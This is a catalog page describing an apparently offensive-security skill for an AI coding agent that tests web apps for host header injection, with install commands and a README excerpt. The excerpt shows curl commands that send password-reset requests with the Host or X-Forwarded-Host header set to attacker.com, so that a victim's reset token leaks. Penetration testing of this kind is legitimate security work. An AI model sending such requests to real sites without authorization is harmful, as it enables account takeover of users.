🛡️
QualityTypeScript

Host Header Injection

by CyberStrikeus

Host Header Injection is a Quality skill for Claude Code, published by CyberStrikeus in CyberStrike.

1.7K stars269 forkson CyberStrikeus/CyberStrikeAdded 2026/08/12+4% in starsRepository updated 2026/08/12
aiai-agentai-securitybug-bountycybersecuritydevsecopsethical-hackinghackinghacking-toolllmmcpmcp-servermitre-attackoffensive-securityowasppenetration-testingpentestred-teamsecuritysecurity-tools
Install in seconds
Install Host Header Injection
Copy Host Header Injection into your Claude Code skills folder. Run the command in your terminal, or review the source on GitHub before installing.
terminal
npx degit https://github.com/CyberStrikeus/CyberStrike/tree/main/.cyberstrike/skill/attack-host-header ~/.claude/skills/attack-host-header

Requires Node.js. Downloads this skill only — not the rest of the repository — into your Claude Code skills folder.

Without Node.js

git clone https://github.com/CyberStrikeus/CyberStrike.git

Clones the whole repository, then copy the skill’s own directory into your skills folder yourself.

In this catalog

Source file
.cyberstrike/skill/attack-host-header/SKILL.md in CyberStrikeus/CyberStrike
Installs to
~/.claude/skills/attack-host-header
Collection
One of 51 skills cataloged from this repository
Category
Quality1354 skills

What Host Header Injection does

Host Header Injection tests whether a web app trusts Host or related headers when building links, routing requests, or caching responses. Use it to check for password reset poisoning, cache poisoning, and routing bypass.

Host Header Injection is cataloged under Quality on DirSkills. Host Header Injection comes from a repository tagged ai, ai-agent, ai-security, bug-bounty and cybersecurity.

Documentation

README

Host Header Injection

Objective

Exploit web server reliance on the Host header to poison password reset links, web caches, or route requests to internal services.

Testing Methodology

Phase 1: Password Reset Poisoning

# Trigger password reset with injected Host
curl -X POST https://TARGET/forgot-password \
  -H "Host: attacker.com" \
  -d "email=victim@example.com"

# X-Forwarded-Host variant
curl -X POST https://TARGET/forgot-password \
  -H "X-Forwarded-Host: attacker.com" \
  -d "email=victim@example.com"

If the reset email link contains attacker.com, the token is leaked when victim clicks.

Phase 2: Duplicate Host Headers

This is the opening of the README. Read the full README on GitHub.

Commands Host Header Injection provides

Slash commands named in this skill’s SKILL.md, listed in the order they first appear.

  • /admin

Frequently asked about Host Header Injection

  • What else does CyberStrikeus publish alongside Host Header Injection?

    Host Header Injection is one of 51 skills that DirSkills catalogs from CyberStrikeus/CyberStrike, the repository it ships in. Its siblings there include AMI Age Compliance, AMI Encryption Check and AMI Naming Convention Compliance. Each one is a separate skill with its own page in this directory, installs the same way Host Header Injection does, and is maintained by CyberStrikeus in that same repository. The rest of the collection is listed on the CyberStrikeus/CyberStrike page.

  • How does Host Header Injection compare to other Quality skills?

    Host Header Injection ranks #600 by stars among the 1354 Quality skills in this catalog. The most-starred ones next to it are Benchmark, Benchmark Optimization Loop and API Design Patterns. DirSkills ranks by the star count of the repository each skill ships in, so that order reflects how popular those repositories are rather than any review of Host Header Injection against them. Open each page to compare what they document and how they install.

More from CyberStrikeus/CyberStrike

Host Header Injection is one of 51 skills cataloged on DirSkills from CyberStrikeus/CyberStrike.

See all 51 skills